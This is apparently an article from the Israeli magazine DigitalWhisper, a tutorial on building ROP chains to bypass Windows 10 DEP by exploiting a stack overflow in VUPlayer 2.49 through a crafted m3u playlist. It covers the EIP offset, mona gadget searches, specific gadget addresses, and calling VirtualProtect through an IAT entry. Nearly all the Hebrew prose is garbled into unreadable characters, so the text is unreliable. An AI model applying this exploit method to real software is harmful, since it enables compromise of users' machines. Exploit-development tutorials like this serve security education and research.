DEP Σ˸˶˧˶˟ ˪ˡ˥ˬˢ ˸ˣ˩˶˰ˬ˟ windows client ˣˬ˩ windows 10 ˞˧ˢ Opt-In Σˡˣ˰˟ ˶ˣ˟˰Windows 

Server editions ˸˶˧˶˟ ˪ˡ˥ˬˢ ˞˧ˢ AlwaysOn Σ˶ˬ˞ˬ˟ ˮˮ˥˧ ˧˩ Opt-In ˪˧˰˲Φ 

DEP ˢ˪ˣ˰˲˟ 

˳˧˶ˮ notepad ˢ˷˰ˮˣ attach ˪-windbg Φ˷ˬ˸˷ˮ ˢˡˣ˵˲˟ vprot ˧ˡ˩ ˠ˧˴ˢ˪ ˸˞ s-memory protections 

˪˷ ˸˟ˣ˸˩ˢ ˸˵ˤ˥ˣˬˢ ˟-eip ύ˭ˣ˩ˮ ˣ˧˷˩˰˪ eip ˰˧˟˴ˬ ˪˞ s-code section ˪˷ ntdll.dll όˢ˞˶ˮˣ ˧˩ s-page 

˭˸˧ˮ ˢ˞˧˶˵˪ ˢ˴˶ˢˣ: 

 

˸ˬˣ˰˪ ˸˞ˤ Σ˸˧ˮ˯˥ˬˢ ˸ˮ˸˧ˮ ˢ˞˧˶˵˪ ˢ˟˧˸˩ˣ ˟:ˡ˟˪ 

 

https://docs.microsoft.com/en-us/windows/win32/memory/data-execution-prevention
https://docs.microsoft.com/en-us/windows/win32/memory/data-execution-prevention
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˪˩ˣˮ ˷ˬ˸˷ˢ˪ ˟-extension ˫˷˟ narly ˶˯˶˲˸˷ ˣˮ˶ˣ˟˰ ˸˞ s-PE header ˠ˧˴˸ˣ ˸˞ ˸ˣ˧˴ˠ˦˧ˬˢ ˭˸˧˞ 

˪˲ˬˣ˵ ˧˶˞ˮ˧˟ˢ: 

 

˧ˡ˩ ˷˧˥ˬˢ˪ ˸˞ ˢ˪ˣ˰˲ˢ ˪˷ DEP ˟ˣ˸˩ˮ Ϧdummy shellcodeύ Ϧˢ˰˟˶˞ nopπ˫˧ ό˸˧ˮ˯˥ˬ˪ ˫˧˷ˮˣ ˟-eip 

˸˞ ˨˶˰ˢ ˪˷ esp Σ˵˶ˤ˧˸ access violation π xʕ DEP ˢ˪ˣ˰˲˟Υ 

 

 

Return Oriented Programming 

ˣ˞ ˶ˣ˴˧˵˟ π ROP Σ˞˧ˢ ˸˵˧ˮ˩˦ ˢ˧˴˦˧˞ˣ˪˲˯˵˞ ˢ˟ ˫˧˷ˬ˸˷ˬ ˧˰˦˵˟ ˡˣ˵ ˫˧˶˴˵ ˫˧ˬ˧˦˧ˠ˪ˣ ˧ˮ˲˟ ˫ˬ˴˰ Σ

˫˧ˬ˧˧˵ˢ ˶˟˩ ˧˶˞ˮ˧˟˟ ˫˧˪ˣˡˣˬ˟ˣ ˭˰ˣ˦˷ ύborrowed code Σό˫˧˟˧˩˶ˬˣ ˫ˢˬ ˱˴˶ x˞ Ϧ˸˶˷˶˷ Ϧ˟˪˷˸ˢ 

˫˸ˣ˞ ˡ˥˧ˣ ˪˧˟ˣ˸ ˸˧˪˩˸˪ Ϧ˸˧ˮˣˡˤ ΦϦˢ˟˧˯ˢˬ ˢ˦˧˪˷ˢ˷ ˣˮ˪˷ ˞˧ˢ ˪˰ ˸˧ˮ˯˥ˬˢ Σ˧ˡ˩ ˪˩ˣˮ˷ ˶˧˟˰ˢ˪ ˸˞ 

˸ˬ˧˶ˤ ˢ˴˧˶ˢ ˰˦˵ˬ ˡˣ˵ ˡ˥˞ ˶˥˞˪ Σ˫˸ˣ˞ ˧˰˦˵ ˡˣ˵ ˫˧˩˧˶˴ ˫˧˧˸˯ˢ˪ ˟-ret π ˶ˬˣ˪˩ ˱˴˶ ˸ˣ˞˶ˣˢ ˱ˣ˯˟ˣ 

ret Φ˪˩ ˰˦˵ ˡˣ˵ ˫˧˧˵ˬ˷ ˸˞ ˧˞ˮ˸ˢ ˞˶˵ˮ gadget Φ 

˧˲˩ ˧˸˶˩ˤˢ˷ ˢˬˡ˵ˢ˟ Σˢ˶˵ˬ˟ ˣˮ˪˷ ˡ˧˵˲˸ sπROP Chain ˢ˧ˢ˧ ˶˷˲˞˪ ˣˮ˪ ˳˧˶ˢ˪ shellcode ˫˵ˬˮ˷ ˪˰ 

˸˧ˮ˯˥ˬˢ ˸ˣ˶ˬ˪ DEP Σˢ˞˶ˮ ˨˷ˬˢ˟ ˵ˣ˧ˡ˟ ˨˧˞Φ 
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VUPlayer 

˶ˬ˞ˬ˟ ˡˣ˟˰ˮ ˫˧ˠˡˮˣ ˸˞ ˢ˵˧ˮ˩˦ˢ ˪˰ windows 10 ˪ˣˬ VUPlayer 2.49 π ˞ˣˢ˷ ˭ˠˮ ˣ˧ˡˣ˞ Windowsπ˧ 

˭˟ˣˬ˩˷ Σ˰˧ˠ˲ ˪-Buffer overflow ˪˰ s-stack Φ˭ˠˮˢ ˷ˬ˸˷ˬ ˧˴˟˵˟ playlist ˸ˬˠˣˡ m3u xπpls Φ 

ˣ˪˧˞ ˧˴˟˵ ˦˯˵˦ ˫˧˪˧˩ˬ˷ ˫˧˵ˮ˧˪ ˪˞ ˧˴˟˵ ˢ˧ˡˬ ˫˧˶˥˞ ˶ˣ˟˰ ˭ˠˮˢ ˰˧ˬ˷ˢ˪: 

 

:ˢ˷˪ˣ˥ˢ 

 

ˢ˷˰ˮ ˷ˣˬ˧˷ ˟-strcpy ˧ˡ˩ ˵˧˸˰ˢ˪ ˸˞ String2 ˪˞ String1 Σ-xstring1 ˯˥ˣ˧ˬ ˨˷ˬˢ˟ ˩-ϦFileName ΣϦ

˷ˬˬ ˧ˮ˲˪ ˢ˞˧˶˵ ˪-fopen Φ˫˞ ˪˩˸˯ˮ ˟-decompiler ˢ˞˶ˮ ˷-string1 ˳˵˪ˣ˞ˬ ˪˰ ˸˧ˮ˯˥ˬˢ ˪ˡˣˠ˟ 

0x100Υ 

 

˸˴˵ backtrace ˢ˞˶ˮˣ ˢ˞˧˶˵ ˪-subroutine ˞˟ˢ: 

 

˳˧˴ˮ ˢˬ˧ˮ˲: 
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˧˸˶˩ˤˢ˷˩ ˧˴˟˵ playlist Σ˧˸˶ˬ˞ ˫ˢ˷ ˨˯˟ ˪˩ˢ ˫˧˴˟˵ ˫˧˪˞ˣ˦˯˵˦ ˫˧˪˪ˣ˩˷ ˫˧˵ˮ˧˪ x˞ ˸ˣˬ˷ ˧˴˟˵ ˣ˧ˡˣ˞ 

˶ˣ˟˰ ˭ˠˮˢ ˰˧ˬ˷ˢ˪ ˢ˩˩ ˢˤ ˢ˞˶ˮ: 

 

˫˞ ˣ˟˷˥˸ ˪˰ ˢˤ Σˢˬ ˣˮ˧˞˶˷ ˟-disassembly ˪˷ IDA ˧l ˦ˣ˷˲ ˫˞ˣ˸ˣ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲˪ ˢ˲˴ˮ˷ ˭ˠˮˢˬ π ˞ˣˢ 

˥˸ˣ˲ ˸˞ ˳˟ˣ˵ s-playlist ˵˲˯ˮ˷ x˪ Σ˞˶ˣ˵ ˣˮˬˬ ˫˷ ˳˟ˣ˵ Σ˰˴˟ˬˣ ˢ˞˧˶˵ ˪-fopen ˣ˶ˣ˟˰ύ Φ˫˧ˮˬˤˣˬ ˪ˣ˪˴˪ 

˪˞ ˨˷ˬˢ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ˢ Σ˸˶˦ˬ˪ ˶ˬ˞ˬˢ ˵˧˲˯ˬ ˣˮ˪ ˶ˣ˴˰˪ ˭˞˩ Φό 

ˣˮ˶ˬ˞ ˪ˡˣˠˢ˷ ˢ˴˵ˣˢ˷ ˪-String1 x˞ ˪πFileName ˞ˣˢ 0x100 ˪˰ ˸˧ˮ˯˥ˬˢ Φ˪˰ˣ ˧˲ ˢˬ ˣˮ˥ˮ˞˷ ˫˧ˮ˧˟ˬ 

ˢ˞˶ˮ˩ ˭˩ˣ˸˷ ˳˟ˣ˵ ˦˯˧˪˧˧˪˲ˢ ύx˞ Ϧ˫˷ ˳˟ˣ˵ˢ όϦ˵˸˰ˣˬ ˪˞ ˣ˸ˣ˞ buffer Σ˸ˣ˰˴ˬ˞˟ strcpy ˞˪˷ ˸˰˴˟ˬ 

˸˵˧ˡ˟ ˸ˣ˪ˣ˟ˠ Φˤ˞ ˢˬ˪ ˞˪˷ ˢ˯ˮˮ ˶ˣ˴˧˪ ˳˟ˣ˵ m3u ˣˮ˪˷ˬ Σ˪˧˩ˬˢ Ϧ˫˷ ˳˟ˣ˵  Ϧˡˣ˞ˬ ˨ˣ˶˞ Κ 
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˶ˣ˶ˠˮ ˸˞ ˳˟ˣ˵ s-m3u ˶˴ˣˮ˷ ˪˞ ˭ˠˮˢ Σ˞ˣˢˣ ˯ˣ˶˵˧ Η˶ˣˤ˥ˮ ˪˰ ˨˧˪ˢ˸ˢ Σ˨˞ ˫˰˲ˢ ˢ˷˰ˮ attach ˨˧˪ˢ˸˪ ˟-

debugger ύ˫˧˧˸ˮ˧˟ ˷ˬ˸˷˞ ˟-immunityΥό 

 

˷˧ˣ ˣˮ˪ ˢ˦˧˪˷ ˪˰ EIP ύ0x41 ˞ˣˢ ˠˣ˴˧˧ ˧˵˯˞ˢ ˪˷ ˣ˸ˢ A Φό˭˞˩ˬ ˢ˞˶ˮ ˡ˴˧˩ ˪˩ˣˮ ˶˴˧˧˪ ˳˟ˣ˵ playlist ˧ˮˣˡˤ 

˪˴ˮ˧˷ ˸˞ ˸ˣ˰˧ˠ˲ˢ ˸˴˶ˢ˪ ˡˣ˵ Η 

 

˸˞˧˴ˬ sπoffset ˪˞ EIP 

˟˪˷˟ ˭ˣ˷˞˶ˢ Σ˨˶˦˴ˮ ˸ˣ˪ˠ˪ ˣˢˬ s-offset ˪˞ sπInstrcution Pointer ˢˬ˩ ˫˧˦˧˧˟ ˣˮ˥ˮ˞ ˫˧˩˧˶˴ ˱˧˯ˣˢ˪ ˩π

padding ˡ˰ ˪˧˥˸ˮ˷ ˟˸˩˷˪ ˸˞ EIP Φ˷ˬ˸˷ˮ ˟-plugin ˢ˪ˣ˰ˬ ˪˷ corelan ˫˷˟ mona ύˢˮ˵˸ˢ ˭˞˩ 

Repository for mona.py)corelan/mona: Corelan  -GitHub  ˧ˡ˩ ˶ˣ˴˧˪ pattern ˧ˡˣ˥˧˧ ˪˷ ˫˧ˣˣ˸ ˨˩ ˱˴˶˷ 

˪˷ ˢ˰˟˶˞ ˫˧˦˧˧˟ ˞˪ ˶ˤˣ˥ ˪˰ ˣˬ˴˰ ύ˪˩ˣˮ ˸˰ˡ˪ ˸˞ ˦˯˲ˣ˞ˢ ˵˧ˣˡˬˢ x˟ eip ˟˸˩ˣ˷ ˸˪˧˥˸ˬ ˸ˤˣ˶˥ˬˢόΥ 

 

˶˴ˣˣ˧ ˳˟ˣ˵ pattern.txt ˸˧˧˵˧˸˟ ˢˮ˵˸ˢˢ ˪˷ mona Σ˶ˣ˴˧ˮ ˳˟ˣ˵ m3u ˢˬ-patternΥ 

 

˳˧˶ˮ ˸˞ VUPlayer ˸˥˸ immunity ˶ˣ˶ˠˮˣ ˸˞ ˳˟ˣ˵ˢ ˶˴ˣˮ˷ Σ˸˧ˮ˩ˣ˸ˢ ˯ˣ˶˵˸ ˪˩˸˯ˮˣ ˟ˣ˷ ˪˰ ˟˴ˬ 

˫˧˶˦˯˧ˠ˶ˢ ˢ˯˧˶˵˟Υ 

 

˷ˬ˸˷ˮ ˟πpattern_offset ˡ˥˧ ˫˰ ˨˶˰ˢ ˣ˸˧˞ EIP ˟˸˩ˣ˷: 

 

 

https://github.com/corelan/mona
https://github.com/corelan/mona
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ˢˣ-offset ˞ˣˢ 1012Φ ˞ˡˣˣˮ ˦˯˧ˢˢ˷ ˣˮ˞˴ˬ˷ ˵˧ˣˡˬ ˸˶ˤ˰˟ sπpoc ˞˟ˢ: 

 

 

˟ˣ˷ attach ˪-VUPlayer ˟πimmunity ˶ˣ˶ˠˮˣ ˸˞ ˳˟ˣ˵ s-playlistΥ 

 

ˣˮ˥ˮ˞ ˫˧˞ˣ˶ ˸˞ ˠˣ˴˧˧ s-ASCII ˪˷ ˸ˣ˞ˢ B ˟πEIP Σˢ˪ˣ˰ˬ π ˣˮ˥ˮ˞ ˫˧˦˪ˣ˷ ˭˧˦ˣ˪˥˪ ˟-instruction pointer 

 

ˤ˞ ˨˧˞ ˫˧ˬˡ˵˸ˬΚ 

ˣˮ˥ˮ˞ ˞˪ ˫˧˪ˣ˩˧ ˦ˣ˷˲ ˟˸˩˷˪ ˸˞ EIP ˪-jmp esp ˳ˣ˲˵˧˷ ˪˞ s-shellcode ˣˮ˪˷ Σ˭˧˞ˣ ˣˮ˪ ˫ˣ˵˧ˬ ˶˥˞ 

˧˟˧˦˵˶˦˞ ˡ˥ˣ˧ˬ˟ ˶ˣˤ˥˪ ˣ˧˪˞ ύ˭ˣˮˠ˯ ˸˧˧˴˵ˮˣ˲ win ˫˧˸˧˰˪˷ ˭˸˧ˮ ˸ˣ˞˶˪ ˟-ctfπ˫˧ όˢ˶˦ˬˢ ˣˮ˪˷ ˢ˧ˢ˸ 

˶˴˧˧˪ ˢ˦˧˪˷ˢˬ ˣˮ˪˷ ˪˰ EIP ˢ˞˧˶˵ ˪-Virtual Protect Σ˶˷˲˞˸˷ ˣˮ˪ ˸ˣˮ˷˪ ˸ˣ˞˷˶ˢ ˰˦˵ˬ˪ ˭ˣ˶˩˧ˤ Σ

˵˧ˮ˰ˢ˪ x˪ ˸˞˷˶ˢ ˢ˴˧˶ ˱ˣ˵˰˪ˣ ˸˞ DEP Φ 

˭˟ˣˬ˩ ˶˦ˮ˧ˣ˲ˢ˷ ˢ˴˶ˮ˷ ˶˧˟˰ˢ˪ ˪-VirtualProtect ˢ˧ˢ˧ ˸˧ˮ˯˥ˬ˪ Σˣ˞ ˶˸ˣ˧ ˸˧˲˧˴˲˯ π ˪shellcode-Φ 
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Virtual Protect  

 

˞˧ˢ ˸˪˟˵ˬ ˢ˰˟˶˞ ˫˧˦ˮˬˣˠ˶˞: 

¶ IpAddress π ˶˦ˮ˧ˣ˲ ˶ˣˤ˞˪ ˭ˣ˶˩˧ˤ˟ x˪ ˢ˴˶ˮ ˸ˣˮ˷˪ ˸˞ ˸ˣ˞˷˶ˢˢ ύˢ˧˴˞ˣ˦˧˯˟ ˣˮ˪˷ Σ˸˪˧˥˸ s-

shellcode Σ˸ˣ˥˲ x˞ ˶˸ˣ˧ό 

¶ Dwsize π ˪ˡˣˠ ˶ˣˤ˞ˢ ˸˪˧˥˸ˬ ˶˦ˮ˧ˣ˲ˢ x˪ ˢˮ˷ˮ ˸˞ ˸ˣ˞˷˶ˢˢ  

¶ flNewProtect π sπaccess protection value ˢ˴˶ˮ˷ ˸˸˪ ˶ˣˤ˞˪ ˭ˣ˶˩˧ˤˢ π ˢ˶˵ˬ˟ ˣˮ˪˷ 0x40 ˶ˣ˟˰ 

PAGE_EXECUTE_READWRITE  

¶ IpOldProtect π ˶˦ˮ˧ˣ˲ ˣ˧˪˞ ˟˸˩˧ s-access protection value ˫ˡˣ˵ˢ ύˣˮ˸ˮ˧˥˟ˬ Σ˪˩ ˫ˣ˵˧ˬ ˞ˣˢ˷ 

writeable ˵˧˶ˣ ˢ˷˰˧ ˸˞ ˢˡˣ˟˰ˢΦό 

 

Finding modules 

ˢ˴˶ˮ ˞ˣ˴ˬ˪ ˫˧˪ˣˡˣˬ ˧˶˞ˮ˧˟ˢ˷ ˭˰ˣ˦π ˣ˪˞˩ ˪˩ˣˮ˷ ˦˵˪˪ ˫ˢˬ gadgets ˪-chain ˣˮ˪˷ Φ˪ˣˡˣˬ ˧˪˞˧ˡ˧˞ ˢ˧ˢ˧ 

ˢˤ˩ ˪˲ˬˣ˵˷ ˞˪˪ protections ˥ˣˣ˦ˣ ˸ˣ˟ˣ˸˩ˢ ˣ˪˷ ˧˵ˮ ˬπnull byte Φ˷ˬ˸˷˞ ˟ˣ˷ ˟-monaΥ 

 

 

ˢ˪ˣ˰ˬ Σ˪˩ˣˮ ˷ˬ˸˷ˢ˪ ˟-BASSWMA.dll ΣBASS.dll xπbassmidi.dllΦ ˧ˮ˲˪ ˣˮ˥ˮ˞˷ ˫˧˪˧˥˸ˬ ˪ˣ˪˴˪ ˥ˣ˸˧˲˪ 

-srop chain ˸˞˧˴ˬˣ s-gadgets Σ˯˯˟ˮ ˸˧ˮ˩ˣ˸ ˶˸ˣ˧ ˸˶ˡˣ˯ˬ. 
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Pushad ˶ˣˡ˧˯ˣ ˫˧˦ˮˬˣˠ˶˞ˢ ˪˰ sstack- 

 pushad˞˧ˢ ˢ˞˶ˣˢ ˸˲˥ˣˡ˷ ˸˞ s-General-Purpose Registers ˸˧ˮ˯˥ˬ˪ Σ˶ˡ˯˟ ˞˟ˢ ύ˪˞ˬ˷ˬ ˭˧ˬ˧˪Υό 

EAX, ECX, EDX, EBX, ESP(original value), EBP, ESI, EDI 

˨˩ ˢ˞˶˧ sstack layout-Υ 

 

-˟chain ˟˧˩˶ˮ˷ ˷ˬ˸˷ˮ ˟-pushad ret Σˢˬ ˶ˬˣ˞˷ ˥ˣ˸˧˲˟˷ s-ROP chain ˨˶˦˴ˮ ˶ˡ˯˪ ˸˞ 

˫˧˦ˮˬˣˠ˶˞ˢ ˫˧ˬ˧˞˸ˬˢ ˪-VirtualProtect ˫˧˶˦˯˧ˠ˶˟ ˫˧ˬ˧˞˸ˬˢ Φ˪˧˥˸ˮ ˨˶˰ˢˬ ˭ˣ˶˥˞ˢ ˱˥ˡˮ˷ 

˸˧ˮ˯˥ˬ˪ ˨˧˷ˬˮˣ ˡ˰ ˭ˣ˷˞˶˪ 

 

˥ˣ˸˧˲ s-ROP chain 

EDI 

-˟EDI ˞˪ ˸ˬ˞˟ ˷˧ ˣˮ˪ ˨˶ˣ˴ Σˤ˞ ˷ˬ˸˷ˮ ˟-ropnop gadget π ˦ˣ˷˲ ˸ˣ˞˶ˣˢ ret ˶ˣ˟˰˸˷ ˦ˮˬ˪˞˪ ˞˟ˢ 

˸˧ˮ˯˥ˬ˟ Φ˫˷˪ ˨˩ ˨˶˦˴ˮ ˸˟ˣ˸˩ ˪˷ gadget ˢˤ˩ ύ˞˪ ˢ˧˰˟ όπxpop edi gadgetΦ 

  



 
 

Developing ROP chains to defeat Windows 10 DEP 
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠмпт, ˶˞ˣ˶˟˲ нлно  пл 
 

˞˴ˬˮ ˸˞ ˥ˣˣ˦ˢ ˸ˣ˟ˣ˸˩ˢ ˪˷ BASSWMA.dll ύtab ˫˧˪ˣˡˣˬˢ ˟immunity-Υό 

 

˷˲˥ˮˣ x˟ ˸˞˶ˣˢ retΥ 

 

˞˴ˬˮ pop edi gadget Σ˷ˬ˸˷ˮ ˟ˣ˷ ˟-rop_suggestions ˪˷ monaΥ 

 

˶˥˟ˮ ˟π0x100190b0 ύ˸˧˸ˣ˶˧˶˷ ˧˶ˬˠ˪Φό 

˫˩˯ˮ ˸˞ ˢ˧˧ˮ˟ˢ ˪˷ EDIΥ 

 

 

 

ASLR Σ˸˶ˣ˩ˤ˸ ˪˰ ˢ˴˵ ˠ˪ˤˬˢ 

˫˧˪˲ˬ˵ˬ˷˩ Executable Σ˰˟˵ˮ ˨˶˰ ˫˷˟ Preferred Base Address ύˢˬˠˣˡ˪ Σ0x10000000 ό˭˧˧˴ˬˢ ˸˞ 

˸˟ˣ˸˩ˢ ˢ˧˪˞ ˪ˣˡˣˬˢ ˨˧˶˴ ˭˰˦˧ˢ˪ ˢˡ˧ˬ˟ ˞˪ˣ ˫˧˰˴˟˸ˬ relocations Φ˭˸˧ˮ ˪˲ˬ˵˪ ˸˞ ˧˶˞ˮ˧˟ˢ ˫˰ ˪ˠˡˢ 

REBASE κ˶˷˲˞˧˷ ˧˶˞ˮ˧˟˪ ˭˰˦˧ˢ˪ ˸˟ˣ˸˩˪ ˯˧˯˟ ˢˮˣ˷ ˢˬ-preffered base ˣ˪˷ Σ˨˞ xʕ ˞˪ ˵ˣ˧ˡ˟ ˢ˧˴ˠ˦˧ˬ 

˞˪˞ ˶˸ˣ˧ ˨˶ˡ ˰ˮˬ˧ˢ˪ ˬπ address collisions ύ˧ˮ˷ DLLπ˫˧ ˣ˪˲ˬˣ˵˷ ˫˰ Preffered Base ˢˢˤ ˫˧ˮ˰˦ˮˣ ˪˞ 

ˣ˸ˣ˞ ˨˧˪ˢ˸ ό˧ˡ˩ ˸ˣ˷˰˪ enable ˪-ASLR Σ˷˧ ˨˶ˣ˴ ˪ˠˡ˟ ˱˯ˣˮ π DYNAMICBASE Φκ 

-˟Windows ΣASLR ˷ˬˣˬˬ ˧ˮ˷˟ phaseπ˫˧ Φ˟˪˷˟ ˭ˣ˷˞˶ˢ Σ˸˧˧˪˰˟ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ Native DLL's 

˷ˣˬ˧˷˟˷ ˧˩˧˪ˢ˸˟ ˸˩˶˰ˬ ˫˧ˮ˰˦ˮ ˪˞ ˸˟ˣ˸˩ ˯˧˯˟ ˸˧˪ˬˣˡˮ˶ Σ˸˟ˣ˸˩ˢˣ ˸˶˞˷ˮ ˢ˰ˣ˟˵ ˡ˰ restart 

˸˩˶˰ˬ˪ Φ-sphase ˧ˮ˷ˢ ˞ˣˢ ˸˴˶ˢ˟ ˢ˧˴˵˧˪˲˞ Φ˪˩ ˧˶˞ˮ˧˟ ˪˲ˬˣ˵˷ ˫˰ ASLR ˳˵˪ˣ˞˧ ˸˟ˣ˸˩˪ ˯˧˯˟ 

˸˧˪ˬˣˡˮ˶ Φ 
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ESI 

-˟ESI ˨˶˦˴ˮ ˫˧˷˪ ˸˞ ˸˟ˣ˸˩ˢ ˪˷ VirtualProtect Φ˳˪˞ˮ ˞ˣ˴ˬ˪ ˭ˣ˶˸˲ ˨˩˪ ˷-kernel32.dll Σˣ˩˶ˡ ˣˮ˥ˮ˞ 

˫˧˪ˣ˩˧ ˞ˣ˶˵˪ ˢ˧˴˵ˮˣ˲˪ Σ˪˲ˬˣ˵ ˫˰ ASLR ˸ˣ˞˯˶ˠ˟ ˸ˣ˧ˮ˩ˡ˰ ˪˷ Windows Φˣˮ˸˥ˬ˷˪ Σ˶˟˩ ˣˮ˞˴ˬ ˫˧˪ˣˡˣˬ 

ˣ˪˲ˬˣ˵˷ ˞˪˪ ASLR ˫˧ˮ˰˦ˮˢ ˪-Vuplayer Φ˫˞ ˡ˥˞ ˫ˢˬ ˞˟˧˧ˬ ˸˞ VirtualProtect ˪˩ˣˮ ˸ˣ˷˰˪ 

dereference ˪-IAT entry ˢ˪˷ ˸˧ˬ˞ˮ˧ˡ ύs-IAT entry ˸˧˟˧˦˪˶ ˸˟ˣ˸˩˪ ˯˧˯˟ˢ ˪˷ ˪ˣˡˣˬˢ Σ˭˞˩ˬ ˞˪˷ 

˪˩ˣˮ ˷ˬ˸˷ˢ˪ ˪ˣˡˣˬ˟ ˪˲ˬˣ˵˷ ˫˰ DYNAMICBASE ˪˩ ˡˣ˰ ˭˧˞ ˣˮ˪ ASLR bypass Φό 

˶ˤ˰ˮ ˟ˣ˷ ˟-mona ˧ˡ˩ ˵ˣˡ˟˪ ˫˰ ˣ˪˧˞ IAT Entries ˫˧ˮ˧˧ˮ˰ˬ ˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˡˣ˟˰˪: 

 

˶˴ˣˣ˧ ropfunc.txtΥ 

 

ˢ˪ˣ˰ˬˣ Η˷˧ ˣˮ˪ IAT entries ˪-VirtualProtect Φ˪˟˞ ˢˤ ˭˧˧ˡ˰ ˞˪ ˵˧˲˯ˬ. ΦΦ˨˶˦˴ˮ ˞ˣ˴ˬ˪ gadget ˢ˷˰˧˷ 

dereference ˪-entry ˧ˡ˩ ˠ˧˷ˢ˪ ˸˞ ˶˦ˮ˧ˣ˲ˢ ˣˬ˴˰ ˪-VirtualProtect Φ˭ˣ˧˰ˬ ˟-rop_suggestions ˪˷ 

mona ˧˸˪˵˸ˮ ˟-gadget ˞˟ˢ: 

 

ˢˤ ˟ˣ˦ ˣˮ˪ Σˢˤ ˶ˬˣ˞ ˨˶˦˴ˮ˷ ˫˧˷˪ ˸˞ s-entry ˪˷ VirtualProtect ˟-eaxΦ 

˟ˠ˞ ˸˞ ˶˴˧˧˪ ˭˸˧ˮ ,rop_suggestions.txt :˸ˣ˰˴ˬ˞˟ 

Ηmona ropπ m basswma,bassmidi,bass 

˞ˣ˴ˬ˪ˣ ˣ˸ˣ˞ ˸˥˸ ˟˧˸ˮˢ x˟ ˫˸ˮ˵˸ˢ ˸˞ immunityΦ 

˞˴ˬˮ pop eaxΥ 

 

˶˸ˣˮ ˣˮ˪ ˞ˣ˴ˬ˪ gadget ˵˧˸˰˧˷ ˸˞ eax ˪-esi ύmov x˞ xchg ˪˷ˬ˪όΥ 

 

˞˪˲ˮ Σ˫˩˯ˮΥ 

 

 
ˢˬ ˫˞ ˞˪ ˢ˧ˢ ˣˮ˪ entry ˪-VirtualProtect Κ˶˟ˡˮ ˪˰ ˸ˣ˟˧˦ˮ˶˦˪˞ ˱ˣ˯˟ ˶ˬ˞ˬˢ Φ 
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ˢ˧ˢ˧ sπtop ˪˷ ˸˧ˮ˯˥ˬˢ ˶˥˞˪ ˢ˞˧˶˵ˢ ˪-VirtualProtect Σˢˬ ˶ˬˣ˞˷ ˢˣˣˢˬ˷ ˸˞ s-return address 

ˢ˪˷ Φˢ˴˶ˮ ˶ˣˤ˥˪ ˪-shellcode ˶˥˞˪ ˢ˞˧˶˵ˢ Σ˭˩˪ˣ jmp esp ˢ˧ˢ˧ ˧˪˞ˡ˧˞ ˭˞˩ Φˢ˟˧˯ˢ ˷-esp ˰˧˟˴˧ ˪˰ s-

shellcode ˣˮ˪˷ ˞˪ˣ ˪˰ ˫˧˦ˮˬˣˠ˶˞ˢ ˣˮ˶˟˰ˢ˷ ˪-VirtualProtect ˞˧ˢ ˷-Win32 API ˷ˬ˸˷ˬ ˸ˬ˩˯ˣˬ˟ 

ˢ˞˧˶˵ ˸˞˶˵ˮˢ stdcallΦ ˭˧˟ ˶˸˧ˢ π ˢ˧˴˵ˮˣ˲ˢ ˸˞˶˵ˮˢ ˞˧ˢ ˸˧˞˶˥˞ˢ ˸ˣ˷˰˪ pop ˫˧˦ˮˬˣˠ˶˞˪ ˢˬstack-Φ  

˪˧˥˸ˮ ˞ˣ˴ˬ˪ˬpop ebpΥ 

 

˞˪ ˫˧˧˵ gadget Ϧ˧˵ˮ ΣϦ˨˶˦˴ˮ ˫˧˞˸ˢ˪ ˸˞ s-chain ˪πRETN 0x4 ˢ˷˰ˮ ˸˞ˤ ˸˶ˤ˰˟rop nops Φ 

˨˧˷ˬˮ ˞˴ˬˮˣ jmp espΥ 

 

 

 

˫˩˯ˮΥ 

 

 

ESP 

ˢˣˣˢ˧ ˸˞ ˦ˮˬˣˠ˶˞ˢ ˭ˣ˷˞˶ˢ ˢ˧˴˵ˮˣ˲˪ Σ˸˶ˣ˩ˤ˸ ˪πstdcall π ˫˧˶˦ˬ˶˲ ˫˧˲˥ˡˮ ˸˧ˮ˯˥ˬ˪ ˭˧ˬ˧ˬ ˪˞ˬ˷˪ Φ

˦ˮˬˣˠ˶˞ˢ lpaddress ˞ˣˢ ˭ˣ˷˞˶ˢ ˱˥ˡˮˣ ˭ˣ˶˥˞ Σ˞ˣˢ ˰˧˟˴ˬ ˶ˣˤ˞˪ ˭ˣ˶˩˧ˤ ˣ˸ˣ˞ ˢ˴˶ˮ ˨ˣ˲ˢ˪ ˭˸˧ˮ˪ ˢ˴˶ˢ˪ Σ

˭˩˪ ˪˩ˣˮ ˶˧˞˷ˢ˪ ˸˞ esp ˣˬ˩ ˞ˣˢ˷Φ 

pushad ˸˲˥ˣˡ ˸˞ ˨˶˰ˢ ˧˶ˣ˵ˬˢ ˪˷ esp ˧ˮ˲˪ ˢ˞˧˶˵ˢ Σ˶ˬˣ˪˩ ˰˧˟˴˧ ˸˥˸ˬ˪ ˪-eax ˸˧ˮ˯˥ˬ˟ π ˸ˣ˟ˣ˸˩˪ 

˸ˣˢˣ˟ˠ ˶˸ˣ˧ Σ˫˷ ˫˵ˬˮ ˸˞ s-shellcode ˣˮ˪˷ ˨˷ˬˢ˟ Φ˳˧˪ˬˬ ˶ˣˤ˥˪ ˳˧˴ˢ˪ˣ ˟-stack layout ˢˡ˧ˬ˟ ˞˪ˣ 

˶ˣ˶˟ ˫˩˪ ˡ˰ ˱ˣ˯ˢΦ 
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˵˧ˤ˥˧ ˸˞ dwSize Σ˫˧˷˪ x˟ 0x201 ˢ˧ˢ˧ ˣˮ˪ ˟ˣ˦ Φ˞˪ ˧˸˞˴ˬ gadget ˫˧˞˸ˬ ˧ˡ˩ ˸ˣ˷˰˪ ˸˞ ˢˤ ˸ˣ˶˧˷˧ ˪˰ 

EBX Σˢˬ ˭˩˷ ˷˧ ˣˮ˪: 

 

˨˩ ˪˩ˣˮ˷ ˡˣ˟˰˪ ˫˰ EAX Σˣˬ˧˷ˣ ˟˪ ˪-gadget ˭˧˧ˮ˰ˬˢ ˞˟ˢ: 

 

˫˩˶˧˩ˤˢ˪Υ XOR AB = C xπXOR BC = A Σ˷˧ ˣˮ˪ ˭˞˩ XOR EAX ˫˰ ˨˶˰ ˧˦˞˦˯ Σˢˬ˪ ˢˤ ˟ˣ˦ Κ 

